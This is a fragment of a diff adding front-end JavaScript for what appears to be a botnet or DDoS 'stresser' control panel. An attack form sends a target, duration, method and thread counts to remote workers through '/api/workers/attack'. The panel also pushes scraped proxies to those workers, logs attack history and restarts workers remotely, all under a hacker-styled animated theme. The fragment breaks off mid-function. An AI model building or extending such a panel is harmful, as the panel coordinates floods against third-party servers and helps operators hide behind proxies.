async function loadWorkerDebug() {
|
|
1657
|
+
try {
|
|
1658
|
+
const data = await api('GET', '/api/workers/poll-debug');
|
|
1659
|
+
const debugConsole = document.getElementById('debugConsole');
|
|
1660
|
+
|
|
1661
|
+
if (!data || !data.pollLog || data.pollLog.length === 0) {
|
|
1662
|
+
if (debugConsole) {
|
|
1663
|
+
debugConsole.innerHTML = '<div class="text-muted text-center py-3">🔍 No debug logs yet — waiting for worker polls...</div>';
|
|
1664
|
+
}
|
|
1665
|
+
return;
|
|
1666
|
+
}
|
|
1667
|
+
|
|
1668
|
+
let html = '';
|
|
1669
|
+
// Show last 50 logs (newest first already from backend)
|
|
1670
|
+
const logsToShow = data.pollLog.slice(0, 50);
|
|
1671
|
+
|
|
1672
|
+
for (const log of logsToShow) {
|
|
1673
|
+
const time = new Date(log.time).toLocaleTimeString();
|
|
1674
|
+
const workerId = log.workerId || 'unknown';
|
|
1675
|
+
const action = log.action || 'none';
|
|
1676
|
+
|
|
1677
|
+
// Color code by action type
|
|
1678
|
+
let actionColor = 'secondary';
|
|
1679
|
+
let icon = '⚡';
|
|
1680
|
+
if (action === 'attack') { actionColor = 'danger'; icon = '🚀'; }
|
|
1681
|
+
else if (action === 'stop') { actionColor = 'warning'; icon = '🛑'; }
|
|
1682
|
+
else if (action === 'unauthorized') { actionColor = 'danger'; icon = '🚫'; }
|
|
1683
|
+
else if (action === 'none') { actionColor = 'muted'; icon = '💤'; }
|
|
1684
|
+
|
|
1685
|
+
const cpuInfo = log.cpu !== undefined ? `CPU: ${log.cpu}%` : '';
|
|
1686
|
+
const memInfo = log.mem !== undefined ? `MEM: ${log.mem}%` : '';
|
|
1687
|
+
const procs = log.activeProcesses !== undefined ? `Procs: ${log.activeProcesses}` : '';
|
|
1688
|
+
const sysInfo = [cpuInfo, memInfo, procs].filter(Boolean).join(' | ');
|
|
1689
|
+
|
|
1690
|
+
html += `<div class="mb-2 pb-2" style="border-bottom: 1px solid #0a2a0a;">
|
|
1691
|
+
<div class="d-flex justify-content-between align-items-start">
|
|
1692
|
+
<div>
|
|
1693
|
+
<span class="badge bg-${actionColor}">${icon} ${action.toUpperCase()}</span>
|
|
1694
|
+
<code class="ms-2" style="color: #00ff41;">${escHtml(workerId)}</code>
|
|
1695
|
+
</div>
|
|
1696
|
+
<small class="text-muted">${time}</small>
|
|
1697
|
+
</div>
|
|
1698
|
+
${sysInfo ? `<div class="mt-1" style="color: #80d880; font-size: 0.75rem;">📊 ${sysInfo}</div>` : ''}
|
|
1699
|
+
<div style="color: #4a9a4a; font-size: 0.7rem;" class="mt-1">🌐 ${escHtml(log.ip || 'unknown IP')}</div>
|
|
1700
|
+
</div>`;
|
|
1701
|
+
}
|
|
1702
|
+
|
|
1703
|
+
if (debugConsole) {
|
|
1704
|
+
debugConsole.innerHTML = html;
|
|
1705
|
+
}
|
|
1706
|
+
} catch (e) {
|
|
1707
|
+
console.error('Failed to load worker debug:', e);
|
|
1708
|
+
}
|
|
1709
|
+
}
|
|
1710
|
+
|
|
1711
|
+
// Auto-refresh debug logs every 3 seconds
|
|
1712
|
+
let debugRefreshInterval = null;
|
|
1713
|
+
function startDebugRefresh() {
|
|
1714
|
+
if (debugRefreshInterval) clearInterval(debugRefreshInterval);
|
|
1715
|
+
loadWorkerDebug();
|
|
1716
|
+
debugRefreshInterval = setInterval(loadWorkerDebug, 3000);
|
|
1717
|
+
}
|
|
1718
|
+
|
|
1719
|
+
// Refresh button
|
|
1720
|
+
document.getElementById('refreshDebugBtn')?.addEventListener('click', () => {
|
|
1721
|
+
loadWorkerDebug();
|
|
1722
|
+
showToast('Debug logs refreshed', 'info');
|
|
1723
|
+
});
|
|
1724
|
+
|
|
1725
|
+
// Restart All Workers button
|
|
1726
|
+
document.getElementById('restartAllWorkersBtn')?.addEventListener('click', () => {
|
|
1727
|
+
restartAllWorkers();
|
|
1728
|
+
});
|
|
1729
|
+
|
|
1730
|
+
// Clear debug logs (client-side clear only)
|
|
1731
|
+
document.getElementById('clearDebugBtn')?.addEventListener('click', () => {
|
|
1732
|
+
const debugConsole = document.getElementById('debugConsole');
|
|
1733
|
+
if (debugConsole) {
|
|
1734
|
+
debugConsole.innerHTML = '<div class="text-muted text-center py-3">🔍 Debug logs cleared (server logs still exist)</div>';
|
|
1735
|
+
}
|
|
1736
|
+
showToast('Debug console cleared', 'info');
|
|
1737
|
+
});
|
|
1738
|
+
|
|
1739
|
+
async function stopPollingWorker(workerId) {
|
|
1740
|
+
try {
|
|
1741
|
+
await api('POST', '/api/workers/stop', { workerIds: [workerId] });
|
|
1742
|
+
showToast(`Stop sent to ${workerId}`, 'success');
|
|
1743
|
+
} catch (e) { showToast('Failed: ' + e.message, 'danger'); }
|
|
1744
|
+
}
|
|
1745
|
+
|
|
1746
|
+
async function restartPollingWorker(workerId) {
|
|
1747
|
+
try {
|
|
1748
|
+
await api('POST', '/api/workers/restart', { workerIds: [workerId] });
|
|
1749
|
+
showToast(`Restart sent to ${workerId}`, 'warning');
|
|
1750
|
+
} catch (e) { showToast('Failed: ' + e.message, 'danger'); }
|
|
1751
|
+
}
|
|
1752
|
+
|
|
1753
|
+
document.getElementById('pollingAttackForm')?.addEventListener('submit', async (e) => {
|
|
1754
|
+
e.preventDefault();
|
|
1755
|
+
const consoleBox = document.getElementById('pollingConsole');
|
|
1756
|
+
const target = document.getElementById('pollingTarget').value;
|
|
1757
|
+
const duration = document.getElementById('pollingDuration').value;
|
|
1758
|
+
const method = document.getElementById('pollingMethod').value;
|
|
1759
|
+
const threads = document.getElementById('pollingThreads').value || null;
|
|
1760
|
+
const goroutines = document.getElementById('pollingGoroutines').value || null;
|
|
1761
|
+
const workerIdsStr = document.getElementById('pollingWorkerIds').value.trim();
|
|
1762
|
+
const workerIds = workerIdsStr ? workerIdsStr.split(',').map(w => w.trim()).filter(w => w) : null;
|
|
1763
|
+
|
|
1764
|
+
if (!target || !duration) { showToast('Target and duration required!', 'warning'); return; }
|
|
1765
|
+
|
|
1766
|
+
if (consoleBox) consoleBox.textContent += `\n⚡ Launching ${method} → ${target} (${duration}s)\n`;
|
|
1767
|
+
try {
|
|
1768
|
+
const data = await api('POST', '/api/workers/attack', {
|
|
1769
|
+
target, duration, method, threads, goroutines, workerIds
|
|
1770
|
+
});
|
|
1771
|
+
if (consoleBox) consoleBox.textContent += `✅ ${data.message}\n`;
|
|
1772
|
+
showToast('Attack sent to workers!', 'success');
|
|
1773
|
+
} catch (e) {
|
|
1774
|
+
if (consoleBox) consoleBox.textContent += `❌ Failed: ${e.message}\n`;
|
|
1775
|
+
showToast('Failed: ' + e.message, 'danger');
|
|
1776
|
+
}
|
|
1777
|
+
});
|
|
1778
|
+
|
|
1779
|
+
document.getElementById('pushProxiesBtn')?.addEventListener('click', async () => {
|
|
1780
|
+
const consoleBox = document.getElementById('pollingConsole');
|
|
1781
|
+
try {
|
|
1782
|
+
const data = await api('GET', '/api/workers/polling');
|
|
1783
|
+
const count = data.count || 0;
|
|
1784
|
+
if (count === 0) { showToast('No workers online', 'warning'); return; }
|
|
1785
|
+
if (consoleBox) consoleBox.textContent += `\n📦 Pushing proxies to ${count} workers...\n`;
|
|
1786
|
+
// Workers auto-fetch proxies on poll, just trigger update
|
|
1787
|
+
for (const [wid] of Object.entries(data.workers || {})) {
|
|
1788
|
+
await api('POST', '/api/worker/poll', { action: "update-proxies", workerId: wid });
|
|
1789
|
+
}
|
|
1790
|
+
if (consoleBox) consoleBox.textContent += `✅ Proxy update pushed to ${count} workers\n`;
|
|
1791
|
+
showToast(`Proxies pushed to ${count} workers!`, 'success');
|
|
1792
|
+
} catch (e) {
|
|
1793
|
+
if (consoleBox) consoleBox.textContent += `❌ Failed: ${e.message}\n`;
|
|
1794
|
+
showToast('Failed: ' + e.message, 'danger');
|
|
1795
|
+
}
|
|
1796
|
+
});
|
|
1797
|
+
|
|
1798
|
+
// ── Remote Sync ──────────────────────────────────────────────────
|
|
1799
|
+
document.getElementById('syncPullBtn')?.addEventListener('click', async () => {
|
|
1800
|
+
const box = document.getElementById('syncConsole');
|
|
1801
|
+
const btn = document.getElementById('syncPullBtn');
|
|
1802
|
+
const badge = document.getElementById('syncRestartBadge');
|
|
1803
|
+
const countEl = document.getElementById('syncCountdown');
|
|
1804
|
+
if (!box || !btn) return;
|
|
1805
|
+
|
|
1806
|
+
btn.disabled = true;
|
|
1807
|
+
box.textContent = '⚡ Notifying workers to restart...\n';
|
|
1808
|
+
|
|
1809
|
+
try {
|
|
1810
|
+
const r = await api('POST', '/api/sync/pull', {});
|
|
1811
|
+
|
|
1812
|
+
// Show worker notification status
|
|
1813
|
+
if (r.workersNotified > 0) {
|
|
1814
|
+
box.textContent += `✅ ${r.workersNotified} worker(s) notified to restart\n`;
|
|
1815
|
+
}
|
|
1816
|
+
|
|
1817
|
+
box.textContent += r.output || 'Done.';
|
|
1818
|
+
|
|
1819
|
+
if (r.status === 'ok') {
|
|
1820
|
+
showToast('Update applied — restarting…', 'success');
|
|
1821
|
+
if (badge) {
|
|
1822
|
+
badge.style.display = '';
|
|
1823
|
+
let t = r.countdown || 5;
|
|
1824
|
+
if (countEl) countEl.textContent = t;
|
|
1825
|
+
|
|
1826
|
+
const iv = setInterval(() => {
|
|
1827
|
+
t--;
|
|
1828
|
+
if (countEl) countEl.textContent = t;
|
|
1829
|
+
if (t <= 0) {
|
|
1830
|
+
clearInterval(iv);
|
|
1831
|
+
box.textContent += '\n\n🔄 Server restarted. Reconnecting…';
|
|
1832
|
+
setTimeout(() => location.reload(), 2000);
|
|
1833
|
+
}
|
|
1834
|
+
}, 1000);
|
|
1835
|
+
}
|
|
1836
|
+
} else {
|
|
1837
|
+
showToast('Sync error — check console', 'danger');
|
|
1838
|
+
if (r.workersNotified) {
|
|
1839
|
+
box.textContent += `\n⚠️ Pull failed, but ${r.workersNotified} worker(s) were notified to restart`;
|
|
1840
|
+
}
|
|
1841
|
+
btn.disabled = false;
|
|
1842
|
+
}
|
|
1843
|
+
} catch (e) {
|
|
1844
|
+
box.textContent = '❌ Error: ' + e.message;
|
|
1845
|
+
showToast('Sync failed', 'danger');
|
|
1846
|
+
btn.disabled = false;
|
|
1847
|
+
}
|
|
1848
|
+
});
|
|
1849
|
+
|
|
1850
|
+
async function loadHistory() {
|
|
1851
|
+
try {
|
|
1852
|
+
const data = await api('GET', '/api/history?limit=100');
|
|
1853
|
+
const tbody = document.getElementById('historyTableBody');
|
|
1854
|
+
if (!tbody) return;
|
|
1855
|
+
if (data.count === 0) {
|
|
1856
|
+
tbody.innerHTML = '<tr><td colspan="5"><div class="empty-state py-4"><i class="fas fa-scroll"></i><p>No history yet</p></div></td></tr>';
|
|
1857
|
+
return;
|
|
1858
|
+
}
|
|
1859
|
+
tbody.innerHTML = '';
|
|
1860
|
+
for (const h of data.history) {
|
|
1861
|
+
const tr = document.createElement('tr');
|
|
1862
|
+
const time = new Date(h.time).toLocaleString();
|
|
1863
|
+
tr.innerHTML = `
|
|
1864
|
+
<td style="font-size:0.8rem;color:var(--text-secondary)">${time}</td>
|
|
1865
|
+
<td><span class="badge-method">${escHtml(h.command)}</span></td>
|
|
1866
|
+
<td style="font-family:'JetBrains Mono',monospace;font-size:0.8rem">${escHtml(h.target)}</td>
|
|
1867
|
+
<td>${escHtml(h.duration)}</td>
|
|
1868
|
+
<td>${h.threads || '-'}</td>
|
|
1869
|
+
`;
|
|
1870
|
+
tbody.appendChild(tr);
|
|
1871
|
+
}
|
|
1872
|
+
} catch (e) { console.error(e); }
|
|
1873
|
+
}
|
|
1874
|
+
document.getElementById('clearHistoryBtn')?.addEventListener('click', async () => {
|
|
1875
|
+
if (!confirm('Clear all history?')) return;
|
|
1876
|
+
try { await api('DELETE', '/api/history'); showToast('History cleared', 'success'); loadHistory(); } catch (e) {}
|
|
1877
|
+
});
|
|
1878
|
+
|
|
1879
|
+
// ─── Proxy Management ──────────────────────────────────────────────────────
|
|
1880
|
+
let proxyMonitorInterval = null;
|
|
1881
|
+
let proxyCurrentOffset = 0;
|
|
1882
|
+
|
|
1883
|
+
async function loadProxy() {
|
|
1884
|
+
try {
|
|
1885
|
+
const data = await api('GET', '/api/proxy/count');
|
|
1886
|
+
const countEl = document.getElementById('proxyCount');
|
|
1887
|
+
const sizeEl = document.getElementById('proxySize');
|
|
1888
|
+
if (countEl) countEl.textContent = data.count.toLocaleString();
|
|
1889
|
+
if (sizeEl) sizeEl.textContent = formatBytes(data.size);
|
|
1890
|
+
} catch (e) { console.error(e); }
|
|
1891
|
+
}
|
|
1892
|
+
|
|
1893
|
+
async function loadProxyList(offset = 0) {
|
|
1894
|
+
try {
|
|
1895
|
+
const data = await api('GET', `/api/proxy/list?limit=100&offset=${offset}`);
|
|
1896
|
+
const tbody = document.getElementById('proxyListBody');
|
|
1897
|
+
const countBadge = document.getElementById('proxyListCount');
|
|
1898
|
+
if (!tbody) return;
|
|
1899
|
+
|
|
1900
|
+
if (countBadge) countBadge.textContent = `${data.total} proxies`;
|
|
1901
|
+
|
|
1902
|
+
if (data.count === 0) {
|
|
1903
|
+
tbody.innerHTML = '<tr><td colspan="3" class="text-center text-muted py-4">No proxies loaded</td></tr>';
|
|
1904
|
+
return;
|
|
1905
|
+
}
|
|
1906
|
+
|
|
1907
|
+
tbody.innerHTML = '';
|
|
1908
|
+
for (let i = 0; i < data.count; i++) {
|
|
1909
|
+
const idx = offset + i;
|
|
1910
|
+
const proxy = data.proxies[i];
|
|
1911
|
+
const tr = document.createElement('tr');
|
|
1912
|
+
tr.innerHTML = `
|
|
1913
|
+
<td class="text-muted">${idx + 1}</td>
|
|
1914
|
+
<td style="font-family:'JetBrains Mono',monospace;font-size:0.85rem">${escHtml(proxy)}</td>
|
|
1915
|
+
<td>
|
|
1916
|
+
<button class="btn btn-sm btn-outline-danger" onclick="deleteProxy(${idx})" title="Delete this proxy">
|
|
1917
|
+
<i class="fas fa-trash"></i>
|
|
1918
|
+
</button>
|
|
1919
|
+
</td>
|
|
1920
|
+
`;
|
|
1921
|
+
tbody.appendChild(tr);
|
|
1922
|
+
}
|
|
1923
|
+
} catch (e) { console.error(e); }
|
|
1924
|
+
}
|
|
1925
|
+
|
|
1926
|
+
async function deleteProxy(index) {
|
|
1927
|
+
if (!confirm(`Delete proxy at index ${index}?`)) return;
|
|
1928
|
+
try {
|
|
1929
|
+
const data = await api('DELETE', `/api/proxy/${index}`);
|
|
1930
|
+
showToast(`Proxy deleted: ${data.remaining} remaining`, 'success');
|
|
1931
|
+
loadProxy();
|
|
1932
|
+
loadProxyList(proxyCurrentOffset);
|
|
1933
|
+
} catch (e) { showToast('Failed: ' + e.message, 'danger'); }
|
|
1934
|
+
}
|
|
1935
|
+
|
|
1936
|
+
async function deleteAllProxies() {
|
|
1937
|
+
if (!confirm('Delete ALL proxies? This cannot be undone!')) return;
|
|
1938
|
+
try {
|
|
1939
|
+
await api('DELETE', '/api/proxy');
|
|
1940
|
+
showToast('All proxies deleted', 'success');
|
|
1941
|
+
loadProxy();
|
|
1942
|
+
loadProxyList(0);
|
|
1943
|
+
} catch (e) { showToast('Failed: ' + e.message, 'danger'); }
|
|
1944
|
+
}
|
|
1945
|
+
|
|
1946
|
+
async function startProxyScrape() {
|
|
1947
|
+
const btn = document.getElementById('scrapeProxyBtn');
|
|
1948
|
+
const stopBtn = document.getElementById('stopScrapeBtn');
|
|
1949
|
+
const badge = document.getElementById('proxyStatusBadge');
|
|
1950
|
+
const consoleBox = document.getElementById('proxyConsole');
|
|
1951
|
+
|
|
1952
|
+
btn.disabled = true;
|
|
1953
|
+
btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Scraping...';
|
|
1954
|
+
if (stopBtn) stopBtn.style.display = 'block';
|
|
1955
|
+
if (badge) badge.style.display = 'inline-block';
|
|
1956
|
+
if (consoleBox) consoleBox.textContent = '🕷️ Starting proxy scrape...\n\n';
|
|
1957
|
+
|
|
1958
|
+
try {
|
|
1959
|
+
const data = await api('POST', '/api/proxy/scrape');
|
|
1960
|
+
if (consoleBox) consoleBox.textContent += '✅ Scrape process started in background.\n';
|
|
1961
|
+
showToast('Proxy scraping started!', 'success');
|
|
1962
|
+
|
|
1963
|
+
// Start live monitoring
|
|
1964
|
+
startProxyMonitor();
|
|
1965
|
+
} catch (e) {
|
|
1966
|
+
if (consoleBox) consoleBox.textContent += `❌ Error: ${e.message}\n`;
|
|
1967
|
+
showToast('Failed: ' + e.message, 'danger');
|
|
1968
|
+
resetProxyUI();
|
|
1969
|
+
}
|
|
1970
|
+
}
|
|
1971
|
+
|
|
1972
|
+
async function stopProxyScrape() {
|
|
1973
|
+
try {
|
|
1974
|
+
await api('POST', '/api/proxy/stop');
|
|
1975
|
+
showToast('Proxy scraping stopped', 'success');
|
|
1976
|
+
resetProxyUI();
|
|
1977
|
+
} catch (e) { showToast('Failed: ' + e.message, 'danger'); }
|
|
1978
|
+
}
|
|
1979
|
+
|
|
1980
|
+
async function startProxyUpdate() {
|
|
1981
|
+
const btn = document.getElementById('updateProxyBtn');
|
|
1982
|
+
const badge = document.getElementById('proxyUpdateBadge');
|
|
1983
|
+
if (btn) {
|
|
1984
|
+
btn.disabled = true;
|
|
1985
|
+
btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Updating...';
|
|
1986
|
+
}
|
|
1987
|
+
if (badge) badge.style.display = '';
|
|
1988
|
+
try {
|
|
1989
|
+
const data = await api('POST', '/api/proxy/update');
|
|
1990
|
+
showToast(data.message, 'success');
|
|
1991
|
+
// Poll status until done
|
|
1992
|
+
const statusInterval = setInterval(async () => {
|
|
1993
|
+
try {
|
|
1994
|
+
const status = await api('GET', '/api/proxy/update/status');
|
|
1995
|
+
if (!status.running) {
|
|
1996
|
+
clearInterval(statusInterval);
|
|
1997
|
+
loadProxy();
|
|
1998
|
+
if (btn) {
|
|
1999
|
+
btn.disabled = false;
|
|
2000
|
+
btn.innerHTML = '<i class="fas fa-sync-alt"></i> Update & Validate Proxies';
|
|
2001
|
+
}
|
|
2002
|
+
if (badge) badge.style.display = 'none';
|
|
2003
|
+
showToast(`Update complete! ${status.log[status.log.length-1]?.message || 'Done'}`, 'success');
|
|
2004
|
+
}
|
|
2005
|
+
} catch (_) {}
|
|
2006
|
+
}, 2000);
|
|
2007
|
+
} catch (e) {
|
|
2008
|
+
showToast('Failed: ' + e.message, 'danger');
|
|
2009
|
+
if (btn) {
|
|
2010
|
+
btn.disabled = false;
|
|
2011
|
+
btn.innerHTML = '<i class="fas fa-sync-alt"></i> Update & Validate Proxies';
|
|
2012
|
+
}
|
|
2013
|
+
if (badge) badge.style.display = 'none';
|
|
2014
|
+
}
|
|
2015
|
+
}
|
|
2016
|
+
|
|
2017
|
+
function resetProxyUI() {
|
|
2018
|
+
const btn = document.getElementById('scrapeProxyBtn');
|
|
2019
|
+
const stopBtn = document.getElementById('stopScrapeBtn');
|
|
2020
|
+
const badge = document.getElementById('proxyStatusBadge');
|
|
2021
|
+
|
|
2022
|
+
if (btn) {
|
|
2023
|
+
btn.disabled = false;
|
|
2024
|
+
btn.innerHTML = '<i class="fas fa-spider"></i> Scrape & Validate Proxies';
|
|
2025
|
+
}
|
|
2026
|
+
if (stopBtn) stopBtn.style.display = 'none';
|
|
2027
|
+
if (badge) badge.style.display = 'none';
|
|
2028
|
+
|
|
2029
|
+
stopProxyMonitor();
|
|
2030
|
+
}
|
|
2031
|
+
|
|
2032
|
+
function startProxyMonitor() {
|
|
2033
|
+
stopProxyMonitor(); // Clear existing
|
|
2034
|
+
|
|
2035
|
+
proxyMonitorInterval = setInterval(async () => {
|
|
2036
|
+
try {
|
|
2037
|
+
const data = await api('GET', '/api/proxy/live');
|
|
2038
|
+
const consoleBox = document.getElementById('proxyConsole');
|
|
2039
|
+
const logCount = document.getElementById('proxyLogCount');
|
|
2040
|
+
|
|
2041
|
+
if (logCount) logCount.textContent = `${data.logLength} lines`;
|
|
2042
|
+
|
|
2043
|
+
if (consoleBox && data.log.length > 0) {
|
|
2044
|
+
const logText = data.log.map(entry => {
|
|
2045
|
+
const time = new Date(entry.timestamp).toLocaleTimeString();
|
|
2046
|
+
const icon = entry.type === 'stdout' ? 'ℹ️' :
|
|
2047
|
+
entry.type === 'stderr' ? '⚠️' :
|
|
2048
|
+
entry.type === 'complete' ? '✅' : '❌';
|
|
2049
|
+
return `[${time}] ${icon} ${entry.message}`;
|
|
2050
|
+
}).join('\n');
|
|
2051
|
+
|
|
2052
|
+
consoleBox.textContent = logText;
|
|
2053
|
+
consoleBox.scrollTop = consoleBox.scrollHeight;
|
|
2054
|
+
}
|
|
2055
|
+
|
|
2056
|
+
// If process is no longer running, update UI
|
|
2057
|
+
if (!data.running) {
|
|
2058
|
+
resetProxyUI();
|
|
2059
|
+
loadProxy(); // Refresh stats
|
|
2060
|
+
}
|
|
2061
|
+
} catch (e) {
|
|
2062
|
+
console.error('Proxy monitor error:', e);
|
|
2063
|
+
}
|
|
2064
|
+
}, 1000); // Update every second
|
|
2065
|
+
}
|
|
2066
|
+
|
|
2067
|
+
function stopProxyMonitor() {
|
|
2068
|
+
if (proxyMonitorInterval) {
|
|
2069
|
+
clearInterval(proxyMonitorInterval);
|
|
2070
|
+
proxyMonitorInterval = null;
|
|
2071
|
+
}
|
|
2072
|
+
}
|
|
2073
|
+
|
|
2074
|
+
document.getElementById('scrapeProxyBtn')?.addEventListener('click', startProxyScrape);
|
|
2075
|
+
document.getElementById('updateProxyBtn')?.addEventListener('click', startProxyUpdate);
|
|
2076
|
+
document.getElementById('stopScrapeBtn')?.addEventListener('click', stopProxyScrape);
|
|
2077
|
+
document.getElementById('refreshProxyBtn')?.addEventListener('click', () => {
|
|
2078
|
+
loadProxy();
|
|
2079
|
+
showToast('Proxy stats refreshed', 'info');
|
|
2080
|
+
});
|
|
2081
|
+
document.getElementById('deleteAllProxyBtn')?.addEventListener('click', deleteAllProxies);
|
|
2082
|
+
document.getElementById('refreshProxyListBtn')?.addEventListener('click', () => {
|
|
2083
|
+
loadProxyList(proxyCurrentOffset);
|
|
2084
|
+
showToast('Proxy list refreshed', 'info');
|
|
2085
|
+
});
|
|
2086
|
+
|
|
2087
|
+
function escHtml(str) {
|
|
2088
|
+
if (!str) return '';
|
|
2089
|
+
const d = document.createElement('div');
|
|
2090
|
+
d.textContent = str;
|
|
2091
|
+
return d.innerHTML;
|
|
2092
|
+
}
|
|
2093
|
+
|
|
2094
|
+
function formatUptime(s) {
|
|
2095
|
+
const d = Math.floor(s / 86400);
|
|
2096
|
+
const h = Math.floor((s % 86400) / 3600);
|
|
2097
|
+
const m = Math.floor((s % 3600) / 60);
|
|
2098
|
+
let r = '';
|
|
2099
|
+
if (d > 0) r += d + 'd ';
|
|
2100
|
+
if (h > 0) r += h + 'h ';
|
|
2101
|
+
if (m > 0) r += m + 'm ';
|
|
2102
|
+
return r.trim() || '< 1m';
|
|
2103
|
+
}
|
|
2104
|
+
|
|
2105
|
+
function formatBytes(bytes) {
|
|
2106
|
+
if (bytes === 0) return '0 B';
|
|
2107
|
+
const k = 1024; const i = Math.floor(Math.log(bytes) / Math.log(k));
|
|
2108
|
+
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + ['B', 'KB', 'MB', 'GB', 'TB'][i];
|
|
2109
|
+
}
|
|
2110
|
+
|
|
2111
|
+
checkAuth();
|
|
2112
|
+
setInterval(() => {
|
|
2113
|
+
if (currentUser) {
|
|
2114
|
+
loadDashboard();
|
|
2115
|
+
loadSystemInfo();
|
|
2116
|
+
}
|
|
2117
|
+
}, 5000);
|
|
2118
|
+
</script>
|
|
2119
|
+
<script>
|
|
2120
|
+
// ═══ PIXEL RETRO PARTICLE ENGINE ═══
|
|
2121
|
+
(function() {
|
|
2122
|
+
'use strict';
|
|
2123
|
+
var canvas = document.getElementById('particleCanvas');
|
|
2124
|
+
if (!canvas) return;
|
|
2125
|
+
var ctx = canvas.getContext('2d');
|
|
2126
|
+
var W, H, particles = [], animId;
|
|
2127
|
+
|
|
2128
|
+
// Pixel color palette
|
|
2129
|
+
var COLS = ['#00ff41','#00cc33','#009922','#00e5ff','#00b4cc','#ffb000','#ff2244','#bb44ff'];
|
|
2130
|
+
|
|
2131
|
+
function resize() { W = canvas.width = window.innerWidth; H = canvas.height = window.innerHeight; }
|
|
2132
|
+
|
|
2133
|
+
// Pixel particle (2x2 or 4x4 block)
|
|
2134
|
+
function Particle() { this.reset(true); }
|
|
2135
|
+
Particle.prototype.reset = function(init) {
|
|
2136
|
+
this.x = Math.random() * (W || 1920);
|
|
2137
|
+
this.y = init ? Math.random() * (H || 1080) : -8;
|
|
2138
|
+
this.size = (Math.random() > 0.7) ? 4 : 2;
|
|
2139
|
+
this.vx = (Math.random() - 0.5) * 0.6;
|
|
2140
|
+
this.vy = Math.random() * 0.5 + 0.2;
|
|
2141
|
+
this.life = 0; this.maxLife = 150 + Math.random() * 200;
|
|
2142
|
+
this.col = COLS[Math.floor(Math.random() * COLS.length)];
|
|
2143
|
+
this.blink = Math.random() > 0.7;
|
|
2144
|
+
this.blinkRate = 0.06 + Math.random() * 0.06;
|
|
2145
|
+
this.blinkPhase = Math.random() * Math.PI * 2;
|
|
2146
|
+
};
|
|
2147
|
+
Particle.prototype.update = function() {
|
|
2148
|
+
this.x += this.vx;
|
|
2149
|
+
this.y += this.vy;
|
|
2150
|
+
this.life++;
|
|
2151
|
+
this.blinkPhase += this.blinkRate;
|
|
2152
|
+
if (this.life > this.maxLife || this.y > H + 10) this.reset(false);
|
|
2153
|
+
};
|
|
2154
|
+
Particle.prototype.draw = function() {
|
|
2155
|
+
var t = this.life / this.maxLife;
|
|
2156
|
+
var a = Math.sin(t * Math.PI) * 0.7;
|
|
2157
|
+
if (this.blink) a *= (Math.sin(this.blinkPhase) * 0.5 + 0.5);
|
|
2158
|
+
ctx.globalAlpha = a;
|
|
2159
|
+
ctx.fillStyle = this.col;
|
|
2160
|
+
ctx.fillRect(Math.round(this.x), Math.round(this.y), this.size, this.size);
|
|
2161
|
+
};
|
|
2162
|
+
|
|
2163
|
+
// ASCII-style falling char
|
|
2164
|
+
var ASCII_CHARS = '01XZABCDEF></.';
|
|
2165
|
+
function AsciiParticle() { this.reset(true); }
|
|
2166
|
+
AsciiParticle.prototype.reset = function(init) {
|
|
2167
|
+
this.x = Math.floor(Math.random() * 80) * (window.innerWidth / 80);
|
|
2168
|
+
this.y = init ? Math.random() * (H || 1080) : -20;
|
|
2169
|
+
this.vy = Math.random() * 1.2 + 0.4;
|
|
2170
|
+
this.char = ASCII_CHARS[Math.floor(Math.random() * ASCII_CHARS.length)];
|
|
2171
|
+
this.life = 0; this.maxLife = 120 + Math.random() * 180;
|
|
2172
|
+
this.col = Math.random() > 0.6 ? '#00ff41' : '#009922';
|
|
2173
|
+
this.size = Math.random() > 0.5 ? 10 : 8;
|
|
2174
|
+
this.changeRate = Math.floor(Math.random() * 8 + 4);
|
|
2175
|
+
};
|
|
2176
|
+
AsciiParticle.prototype.update = function() {
|
|
2177
|
+
this.y += this.vy;
|
|
2178
|
+
this.life++;
|
|
2179
|
+
if (this.life % this.changeRate === 0) {
|
|
2180
|
+
this.char = ASCII_CHARS[Math.floor(Math.random() * ASCII_CHARS.length)];
|
|
2181
|
+
}
|
|
2182
|
+
if (this.life > this.maxLife || this.y > H + 20) this.reset(false);
|
|
2183
|
+
};
|
|
2184
|
+
AsciiParticle.prototype.draw = function() {
|
|
2185
|
+
var t = this.life / this.maxLife;
|
|
2186
|
+
var a = Math.sin(t * Math.PI) * 0.35;
|
|
2187
|
+
ctx.globalAlpha = a;
|
|
2188
|
+
ctx.fillStyle = this.col;
|
|
2189
|
+
ctx.font = 'bold ' + this.size + 'px "Share Tech Mono", monospace';
|
|
2190
|
+
ctx.fillText(this.char, Math.round(this.x), Math.round(this.y));
|
|
2191
|
+
};
|
|
2192
|
+
|
|
2193
|
+
function init() {
|
|
2194
|
+
resize();
|
|
2195
|
+
particles = [];
|
|
2196
|
+
for (var i = 0; i < 120; i++) particles.push(new Particle());
|
|
2197
|
+
for (var i = 0; i < 25; i++) particles.push(new AsciiParticle());
|
|
2198
|
+
}
|
|
2199
|
+
function loop() {
|
|
2200
|
+
ctx.clearRect(0, 0, W, H);
|
|
2201
|
+
for (var i = 0; i < particles.length; i++) { particles[i].update(); particles[i].draw(); }
|
|
2202
|
+
ctx.globalAlpha = 1;
|
|
2203
|
+
animId = requestAnimationFrame(loop);
|
|
2204
|
+
}
|
|
2205
|
+
window.addEventListener('resize', resize);
|
|
2206
|
+
init(); loop();
|
|
2207
|
+
})();
|
|
2208
|
+
|
|
2209
|
+
// ═══ PIXEL SPARKLES (replace petals) ═══
|
|
2210
|
+
(function() {
|
|
2211
|
+
var c = document.getElementById('petalsContainer');
|
|
2212
|
+
if (!c) return;
|
|
2213
|
+
var CHARS = ['★','✦','◆','▲','●','✕','♦','※','⊕','◉'];
|
|
2214
|
+
var COLORS = ['#00ff41','#00cc33','#ffb000','#00e5ff','#ff2244','#bb44ff'];
|
|
2215
|
+
for (var i = 0; i < 20; i++) {
|
|
2216
|
+
var el = document.createElement('div');
|
|
2217
|
+
el.className = 'petal';
|
|
2218
|
+
el.textContent = CHARS[i % CHARS.length];
|
|
2219
|
+
el.style.color = COLORS[i % COLORS.length];
|
|
2220
|
+
el.style.textShadow = '0 0 8px ' + COLORS[i % COLORS.length];
|
|
2221
|
+
el.style.fontFamily = 'monospace';
|
|
2222
|
+
el.style.imageRendering = 'pixelated';
|
|
2223
|
+
var l = Math.random() * 100;
|
|
2224
|
+
var d = 10 + Math.random() * 15;
|
|
2225
|
+
var dl = -(Math.random() * d);
|
|
2226
|
+
